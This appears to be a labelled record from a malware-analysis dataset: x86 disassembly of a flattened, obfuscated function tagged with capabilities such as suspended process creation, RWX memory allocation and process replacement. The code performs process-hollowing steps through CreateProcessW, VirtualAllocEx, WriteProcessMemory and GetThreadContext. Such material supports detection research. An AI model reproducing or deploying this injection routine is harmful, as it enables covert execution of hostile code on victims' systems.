Function at 0x10002e00
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x1006b000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0x32798dae
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x80619c49
je 0x10008a7e
jmp 0x10002e3c
mov eax, dword [ebp - 0x19c]
sub eax, 0x82031a20
je 0x1000afbc
jmp 0x10002e52
mov eax, dword [ebp - 0x19c]
sub eax, 0x822c86bd
je 0x10007a64
jmp 0x10002e68
mov eax, dword [ebp - 0x19c]
sub eax, 0x829877bb
je 0x100090f2
jmp 0x10002e7e
mov eax, dword [ebp - 0x19c]
sub eax, 0x82c4ae47
je 0x100064cd
jmp 0x10002e94
mov eax, dword [ebp - 0x19c]
sub eax, 0x82c7f10e
je 0x10006c72
jmp 0x10002eaa
mov eax, dword [ebp - 0x19c]
sub eax, 0x84238522
je 0x10007387
jmp 0x10002ec0
mov eax, dword [ebp - 0x19c]
sub eax, 0x84947b76
je 0x100069bf
jmp 0x10002ed6
mov eax, dword [ebp - 0x19c]
sub eax, 0x87971448
je 0x100099d3
jmp 0x10002eec
mov eax, dword [ebp - 0x19c]
sub eax, 0x887d5e84
je 0x10005f94
jmp 0x10002f02
mov eax, dword [ebp - 0x19c]
sub eax, 0x8933ffe0
je 0x1000b3aa
jmp 0x10002f18
mov eax, dword [ebp - 0x19c]
sub eax, 0x896f58b3
je 0x1000a487
jmp 0x10002f2e
mov eax, dword [ebp - 0x19c]
sub eax, 0x8981dcc4
je 0x10005d93
jmp 0x10002f44
mov eax, dword [ebp - 0x19c]
sub eax, 0x8a03d2c1
je 0x10009101
jmp 0x10002f5a
mov eax, dword [ebp - 0x19c]
sub eax, 0x8a81bb3c
je 0x1000ad91
jmp 0x10002f70
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ad07154
je 0x1000afdb
jmp 0x10002f86
mov eax, dword [ebp - 0x19c]
sub eax, 0x8afee210
je 0x100081e3
jmp 0x10002f9c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b2b3774
je 0x1000b32f
jmp 0x10002fb2
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b6f08d3
je 0x10006b2b
jmp 0x10002fc8
mov eax, dword [ebp - 0x19c]
sub eax, 0x8c55124f
je 0x100095a7
jmp 0x10002fde
mov eax, dword [ebp - 0x19c]
sub eax, 0x8cf4c73e
je 0x1000625b
jmp 0x10002ff4
mov eax, dword [ebp - 0x19c]
sub eax, 0x8d85f84f
je 0x10008be6
jmp 0x1000300a
mov eax, dword [ebp - 0x19c]
sub eax, 0x8dd713f2
je 0x10006e7b
jmp 0x10003020
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e49cfe9
je 0x1000b229
jmp 0x10003036
mov eax, dword [ebp - 0x19c]
sub eax, 0x8e825cd1
je 0x10006539
jmp 0x1000304c
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ffb55c3
je 0x10005d84
jmp 0x10003062
mov eax, dword [ebp - 0x19c]
sub eax, 0x905dd234
je 0x100091e0
jmp 0x10003078
mov eax, dword [ebp - 0x19c]
sub eax, 0x91ebe34f
je 0x1000878b
jmp 0x1000308e
mov eax, dword [ebp - 0x19c]
sub eax, 0x92fdf5f2
je 0x10006cbd
jmp 0x100030a4
mov eax, dword [ebp - 0x19c]
sub eax, 0x93aa2c0f
je 0x10006f5f
jmp 0x100030ba
mov eax, dword [ebp - 0x19c]
sub eax, 0x93cad9ec
je 0x1000b1ad
jmp 0x100030d0
mov eax, dword [ebp - 0x19c]
sub eax, 0x958661cd
je 0x1000b363
jmp 0x100030e6
mov eax, dword [ebp - 0x19c]
sub eax, 0x95926137
je 0x10008a13
jmp 0x100030fc
mov eax, dword [ebp - 0x19c]
sub eax, 0x95a86612
je 0x1000b0e4
jmp 0x10003112
mov eax, dword [ebp - 0x19c]
sub eax, 0x95ab49ba
je 0x1000b238
jmp 0x10003128
mov eax, dword [ebp - 0x19c]
sub eax, 0x96090738
je 0x1000a080
jmp 0x1000313e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9632e498
je 0x10005c9d
jmp 0x10003154
mov eax, dword [ebp - 0x19c]
sub eax, 0x96382849
je 0x1000a904
jmp 0x1000316a
mov eax, dword [ebp - 0x19c]
sub eax, 0x96edd41c
je 0x1000b103
jmp 0x10003180
mov eax, dword [ebp - 0x19c]
sub eax, 0x9938afb5
je 0x100087c7
jmp 0x10003196
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a38a314
je 0x10008711
jmp 0x100031ac
mov eax, dword [ebp - 0x19c]
sub eax, 0x9a635b83
je 0x1000af7e
jmp 0x100031c2
mov eax, dword [ebp - 0x19c]
sub eax, 0x9aca0561
je 0x10009616
jmp 0x100031d8
mov eax, dword [ebp - 0x19c]
sub eax, 0x9b568335
je 0x10006053
jmp 0x100031ee
mov eax, dword [ebp - 0x19c]
sub eax, 0x9b902abd
je 0x10008c50
jmp 0x10003204
mov eax, dword [ebp - 0x19c]
sub eax, 0x9dc387e0
je 0x10007b52
jmp 0x1000321a
mov eax, dword [ebp - 0x19c]
sub eax, 0x9dd2ad22
je 0x100059ed
jmp 0x10003230
mov eax, dword [ebp - 0x19c]
sub eax, 0x9dd73ff7
je 0x10006584
jmp 0x10003246
mov eax, dword [ebp - 0x19c]
sub eax, 0x9df078c9
je 0x1000a08f
jmp 0x1000325c
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e292e39
je 0x1000a4a8
jmp 0x10003272
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e4dd01a
je 0x10008f09
jmp 0x10003288
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e911581
je 0x1000ae59
jmp 0x1000329e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9eed4f35
je 0x10008414
jmp 0x100032b4
mov eax, dword [ebp - 0x19c]
sub eax, 0xa007edd5
je 0x10006936
jmp 0x100032ca
mov eax, dword [ebp - 0x19c]
sub eax, 0xa00cdf94
je 0x100083c3
jmp 0x100032e0
mov eax, dword [ebp - 0x19c]
sub eax, 0xa01c6143
je 0x100057c6
jmp 0x100032f6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa0689579
je 0x10008730
jmp 0x1000330c
mov eax, dword [ebp - 0x19c]
sub eax, 0xa07944df
je 0x1000aa63
jmp 0x10003322
mov eax, dword [ebp - 0x19c]
sub eax, 0xa2ff0d71
je 0x1000936c
jmp 0x10003338
mov eax, dword [ebp - 0x19c]
sub eax, 0xa326862f
je 0x10006697
jmp 0x1000334e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa4644fa2
je 0x1000ae1c
jmp 0x10003364
mov eax, dword [ebp - 0x19c]
sub eax, 0xa555e768
je 0x10005c41
jmp 0x1000337a
mov eax, dword [ebp - 0x19c]
sub eax, 0xa5adced3
je 0x1000a171
jmp 0x10003390
mov eax, dword [ebp - 0x19c]
sub eax, 0xa5aec996
je 0x10008a41
jmp 0x100033a6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa5f76172
je 0x10007b61
movss xmm0, dword [0x10018398]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10018394]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x198], 0x46a1ace8
jmp 0x1000b570
mov dword [ebp - 0x198], 0x625ca0e2
jmp 0x1000b570
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x198], 0xb7cb308e
jmp 0x1000b570
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0xdd9e6d7a
sub edx, 1
sub edx, 0xdd9e6d7a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x48febeb6
mov ecx, 0xc2dd4796
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0x8981dcc4
jmp 0x1000b570
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x136fa267
mov ecx, 0x42644b0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc759fafe
mov ecx, 0x5e932ba4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dl, 1
mov eax, 0x4f0258fc
mov ecx, 0xddcbd554
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dl, 1
mov eax, 0x176d7d23
mov ecx, 0xc40415f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x118], xmm0
mov dl, 1
mov eax, 0xba7f60a0
mov ecx, 0xfe761838
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xba7f60a0
jmp 0x1000b570
movss xmm0, dword [0x10018338]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x198], 0xdef2c30d
jmp 0x1000b570
mov dword [ebp - 0x198], 0x428f578c
jmp 0x1000b570
mov dword [ebp - 0x198], 0x24ea0403
jmp 0x1000b570
movss xmm0, dword [0x10018310]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001830c]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10018308]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x198], 0x6680df1e
jmp 0x1000b570
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x782191bf
sub edx, 1
sub edx, 0x782191bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d5ffb56
mov ecx, 0xd2bcd01f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xf3f2a777
jmp 0x1000b570
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0xd962c2e9
sub edx, 1
add edx, 0xd962c2e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b72b738
mov ecx, 0xe1b00bf6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x102aa429
mov ecx, 0xd55512d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dl, 1
mov eax, 0x1ce9e349
mov ecx, 0x4a536b92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dl, 1
mov eax, 0x207846d0
mov ecx, 0x3cd68d70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xe0f606ef
jmp 0x1000b570
mov dword [ebp - 0x198], 0xa5f76172
jmp 0x1000b570
movss xmm0, dword [0x100182ac]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x198], 0xd13be972
jmp 0x1000b570
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0xa029b727
sub edx, 1
sub edx, 0xa029b727
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96edd41c
mov ecx, 0x9eed4f35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dl, 1
mov eax, 0xb23a19e2
mov ecx, 0xa988c760
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x198], 0xa0689579
jmp 0x1000b570
mov dl, 1
mov eax, 0x91ebe34f
mov ecx, 0x32b231c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
movss xmm0, dword [0x10018280]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x198], 0xda0d102b
jmp 0x1000b570
movss xmm0, dword [0x1001827c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x198], 0xcf8c2a06
jmp 0x1000b570
mov dword [ebp - 0x198], 0xc37e026e
jmp 0x1000b570
movss xmm0, dword [0x1001826c]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x10018268]
movss dword [ebp - 0x12c], xmm0
mov dl, 1
mov eax, 0x5025ac25
mov ecx, 0x80619c49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0xb9d9e4ae
sub edx, 1
add edx, 0xb9d9e4ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x93cad9ec
mov ecx, 0xc9410f8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xfa8182d5
jmp 0x1000b570
movss xmm0, dword [0x1001824c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x198], 0xc051287a
jmp 0x1000b570
movss xmm0, dword [0x10018248]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x198], 0xef17ccb4
jmp 0x1000b570
mov dword [ebp - 0x198], 0x8a03d2c1
jmp 0x1000b570
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a188c86
mov ecx, 0xe6063ce9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xfc3c4dc1
jmp 0x1000b570
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xfc]
add eax, 0x55da1ea6
add eax, ecx
sub eax, 0x55da1ea6
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xf1], al
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x3aabbd3a
sub edx, 1
sub edx, 0x3aabbd3a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7bb6356
mov ecx, 0x59b4c88b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov edx, dword [ebp - 0x144]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x198], 0x9aca0561
jmp 0x1000b570
mov edx, dword [ebp - 0xec]
mov eax, 0xc627cdb5
mov ecx, 0xefd72feb
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x130]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x198], 0x577fc725
jmp 0x1000b570
mov dword [ebp - 0x198], 0x9df078c9
jmp 0x1000b570
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x5175b356
sub edx, 1
add edx, 0x5175b356
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc02b567
mov ecx, 0x1126fc87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xe7ef79c9
jmp 0x1000b570
mov dl, byte [ebp - 0x99]
mov eax, 0x13aa2a0
mov ecx, 0x9e292e39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
mov dword [ebp - 0x198], 0xedc51a5f
jmp 0x1000b570
mov dword [ebp - 0x198], 0x13aa2a0
jmp 0x1000b570
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x43fe1b75
sub edx, 1
add edx, 0x43fe1b75
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x59fa6858
mov ecx, 0xe7731a5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000b570
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x198], 0xb3907311
jmp 0x1000b570
mov dword [ebp - 0x198], 0x6cf3b494
jmp 0x1000b570
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x198], 0x42be6b5a
jmp 0x1000b570
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x198], 0xae219bfa
jmp 0x1000b570
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x198], 0xb2bac2ac
jmp 0x1000b570
movss xmm0, dword [0x100181dc]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x198], 0x5b7373c5
jmp 0x1000b570
movss xmm0, dword [0x100181b4]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x198], 0x2e4d2116
jmp 0x1000b570
mov dword [ebp - 0x198], 0xa00cdf94
jmp 0x1000b570
movss xmm0, dword [0x1001819c]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x198], 0xc9410f8c
jmp 0x1000b570
mov dword [ebp - 0x198], 0xed4a8b83
jmp 0x1000b570
mov dword [ebp - 0x198], 0xf4a85ce5
jmp 0x1000b570
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x198], 0xeee3a247
jmp 0x1000b570
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x198], 0xcb78f7c3
jmp 0x1000b570
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xdc]
add eax, ecx
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x13c]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x13c]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x198], 0xc058c950
jmp 0x1000b570
jmp 0x10002e20